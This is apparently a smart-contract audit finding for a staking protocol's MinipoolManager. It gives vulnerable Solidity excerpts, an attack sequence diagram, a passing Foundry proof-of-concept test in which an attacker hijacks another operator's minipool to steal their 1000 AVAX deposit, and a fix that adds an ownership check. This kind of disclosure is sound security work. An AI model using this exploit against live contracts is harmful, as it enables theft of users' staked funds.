    function requireValidStateTransition(int256 minipoolIndex, MinipoolStatus to) private view {
------
        } else if (currentStatus == MinipoolStatus.Withdrawable || currentStatus == MinipoolStatus.Error) {
		isValid = (to == MinipoolStatus.Finished || to == MinipoolStatus.Prelaunch);
	} else if (currentStatus == MinipoolStatus.Finished || currentStatus == MinipoolStatus.Canceled) {
		// Once a node is finished/canceled, if they re-validate they go back to beginning state
		isValid = (to == MinipoolStatus.Prelaunch);
------
	function createMinipool(
		address nodeID,
		uint256 duration,
		uint256 delegationFee,
		uint256 avaxAssignmentRequest
	) external payable whenNotPaused {
---------
		// Create or update a minipool record for nodeID
		// If nodeID exists, only allow overwriting if node is finished or canceled
		// 		(completed its validation period and all rewards paid and processing is complete)
		int256 minipoolIndex = getIndexOf(nodeID);
		if (minipoolIndex != -1) {
			requireValidStateTransition(minipoolIndex, MinipoolStatus.Prelaunch);
			resetMinipoolData(minipoolIndex);
----------
		setUint(keccak256(abi.encodePacked("minipool.item", minipoolIndex, ".status")), uint256(MinipoolStatus.Prelaunch));
----------
		setAddress(keccak256(abi.encodePacked("minipool.item", minipoolIndex, ".owner")), msg.sender);
----------
	}
                                                
                                                                                            
          Rialto                   NodeOp                 Minipool                Hacker    
                                                          Manager                           
                                                
             claimAndInitiate(Node-1337)                        createMinipool(Node-1337) 
             recordStakingStart(...)                             
                                         1000 AVAX  
                                                                                            100 GPP    
                                        createMinipool(Node-123)                           
             claimAndInitiate(Node-123)                           
             recordStakingStart(...)                                                      
                                       
                                                                              
14 days    recordStakingEnd(Node-1337)                                                  
 recordStakingEnd(Node-123) //STATE: WITHDRAWABLE//                            
                                         1000 AVAX  
                                                                createMinipool(Node-123)   Hacker=Owner
                                                                 
                                        withdrawMinipoolF..(123)                          
                                        cancleMinipool(Node-123)  
                                               REVERT!          
                                              1000 AVAX           
                                                                
                                              withdrawMinipoolFunds(1337 
                                             NodeOp loses      Withdraw  
                                             his 1000 AVAX          1000 AVAX + REWARDS  stake and 
                                             Stake, cannot     rewards   
                                             withdraw                                    
                                                       
                                                                     Hacker loses no    
                                                                     funds, can         
                                                                     withdraw GPP       
                                                                         
	function testHijackMinipool() public {
		uint256 duration = 2 weeks;
		uint256 depositAmt = 1000 ether;
		uint256 avaxAssignmentRequest = 1000 ether;
		uint256 rewards = 10 ether;
		uint256 expectedRewards = (rewards/2)+(rewards/2).mulWadDown(dao.getMinipoolNodeCommissionFeePct());
		uint256 validationAmt = depositAmt + avaxAssignmentRequest;
		uint128 ggpStakeAmt = 100 ether;
		address hacker = address(0x1337);
		// Fund hacker with exact AVAX and gpp
		vm.deal(hacker, depositAmt*2);
		dealGGP(hacker, ggpStakeAmt);
		// Fund nodeOp with exact AVAX and gpp
		nodeOp = address(0x123);
		vm.deal(nodeOp, depositAmt);
		dealGGP(nodeOp, ggpStakeAmt);

		// fund ggAVAX
		address lilly = getActorWithTokens("lilly", MAX_AMT, MAX_AMT);
		vm.prank(lilly);
		ggAVAX.depositAVAX{value: MAX_AMT}();
		assertEq(lilly.balance, 0);

		vm.startPrank(hacker);
		// Hacker stakes GGP
		ggp.approve(address(staking), ggpStakeAmt);
		staking.stakeGGP(ggpStakeAmt);

		// Create minipool for hacker
		MinipoolManager.Minipool memory hackerMp = createMinipool(depositAmt, avaxAssignmentRequest, duration);
		vm.stopPrank();

		vm.startPrank(nodeOp);
		// nodeOp stakes GGP
		ggp.approve(address(staking), ggpStakeAmt);
		staking.stakeGGP(ggpStakeAmt);

		// Create minipool for nodeOp
		MinipoolManager.Minipool memory nodeOpMp = createMinipool(depositAmt, avaxAssignmentRequest, duration);
		vm.stopPrank();

		// Rialto stakes both hackers and nodeOp in avalanche 
		vm.startPrank(address(rialto));
		minipoolMgr.claimAndInitiateStaking(nodeOpMp.nodeID);
		minipoolMgr.claimAndInitiateStaking(hackerMp.nodeID);

		// Update that staking has started
		bytes32 txID = keccak256("txid");
		minipoolMgr.recordStakingStart(nodeOpMp.nodeID, txID, block.timestamp);
		minipoolMgr.recordStakingStart(hackerMp.nodeID, txID, block.timestamp);

		// Skip 14 days of staking duration
		skip(duration);

		// Update that staking has ended and funds are withdrawable
		minipoolMgr.recordStakingEnd{value: validationAmt + rewards}(nodeOpMp.nodeID, block.timestamp, 10 ether);
		minipoolMgr.recordStakingEnd{value: validationAmt + rewards}(hackerMp.nodeID, block.timestamp, 10 ether);
		vm.stopPrank();

		/// NOW STATE: WITHDRAWABLE ///

		vm.startPrank(hacker);
		// Hacker creates a minipool using nodeID of nodeOp
		// Hacker is now the owner of nodeOp minipool
		minipoolMgr.createMinipool{value: depositAmt}(nodeOpMp.nodeID, duration, 0.02 ether, avaxAssignmentRequest);

		// Hacker immediatally cancels the nodeOp minipool, validate 1000 AVAX returned
		minipoolMgr.cancelMinipool(nodeOpMp.nodeID);
		assertEq(hacker.balance, depositAmt);
		// Hacker withdraws his own minipool and receives 1000 AVAX + rewards
		minipoolMgr.withdrawMinipoolFunds(hackerMp.nodeID);
		assertEq(hacker.balance, depositAmt + depositAmt + expectedRewards);

		// Hacker withdraws his staked ggp
		staking.withdrawGGP(ggpStakeAmt);
		assertEq(ggp.balanceOf(hacker), ggpStakeAmt);
		vm.stopPrank();

		vm.startPrank(nodeOp);
		// NodeOp tries to withdraw his funds from the minipool
		// Transaction reverts because NodeOp is not the owner anymore
		vm.expectRevert(MinipoolManager.OnlyOwner.selector);
		minipoolMgr.withdrawMinipoolFunds(nodeOpMp.nodeID);

		// NodeOp can still release his staked gpp
		staking.withdrawGGP(ggpStakeAmt);
		assertEq(ggp.balanceOf(nodeOp), ggpStakeAmt);
		vm.stopPrank();
	}
forge test -m testHijackMinipool -v
Running 1 test for test/unit/MinipoolManager.t.sol:MinipoolManagerTest
[PASS] testHijackMinipool() (gas: 2346280)
Test result: ok. 1 passed; 0 failed; finished in 9.63s
	function createMinipool(
		address nodeID,
		uint256 duration,
		uint256 delegationFee,
		uint256 avaxAssignmentRequest
	) external payable whenNotPaused {
----------
		int256 minipoolIndex = getIndexOf(nodeID);
		if (minipoolIndex != -1) {
                        onlyOwner(minipoolIndex); // AUDIT: ADDED HERE
----------
		} else {
----------
	}
